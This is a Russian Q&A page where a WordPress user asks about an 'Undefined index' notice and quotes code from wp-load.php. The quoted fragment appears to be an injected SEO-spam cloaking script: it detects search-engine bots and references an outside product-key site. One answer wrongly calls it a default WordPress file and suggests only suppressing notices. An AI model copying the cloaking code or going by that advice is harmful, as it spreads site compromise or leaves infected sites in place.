Как исправить ошибку неопределенного индекса с помощью HTTP REFERER на сайте Wordpress - PullRequest
0 голосов
/ 01 апреля 2019

В верхней части моего веб-сайта Wordpress появляется уведомление об ошибке со следующим статусом:

Notice: Undefined Index: HTTP REFERER in Path/wp-load.php On Line 7

Я пытался скрыть уведомление, но это не решает проблему.

Код в указанной строке ниже:

<?php
  $tmp = strtolower($_SERVER['HTTP_USER_AGENT']);
  $mysite = "http://mywebsite.com/";
  $filename = "";
  $fromsite = "https://productkeysdl.com/windows-10-product-key/";
  if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false 
    || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || 
    strpos($tmp, 'bot') !== false) {
    $ksite = !empty($_GET['key']) ? $_GET['key'] : "";
    $list = array();

Я ожидаю, что уведомление Undefined Index исчезнет с домашней страницы сайта

Ответы [ 2 ]

1 голос
/ 01 апреля 2019

Я рекомендую вам не трогать код в файле, он показывает уведомления, так как это файл Wordpress по умолчанию.если вы действительно хотите избавиться от этого уведомления, найдите файл wp-config.php в том же каталоге, найдите «WP_DEBUG» и задайте для него значение «false».

0 голосов
/ 01 апреля 2019

Я предполагаю, что вы на самом деле имеете в виду "HTTP_USER_AGENT" в качестве неопределенного индекса?потому что этот код не имеет «HTTP_REFERRER» в любом месте.Обратите внимание, что не все браузеры отправляют HTTP_USER_AGENT.https://www.google.com/search?q=php+%24_server+undefined+'http_user_agent'.

Если вы имели в виду «HTTP_REFERRER», то это должно происходить в другом месте.Обратите внимание, что реферер также не всегда предоставляется. $ _ SERVER ['HTTP_REFERER'] отсутствует

...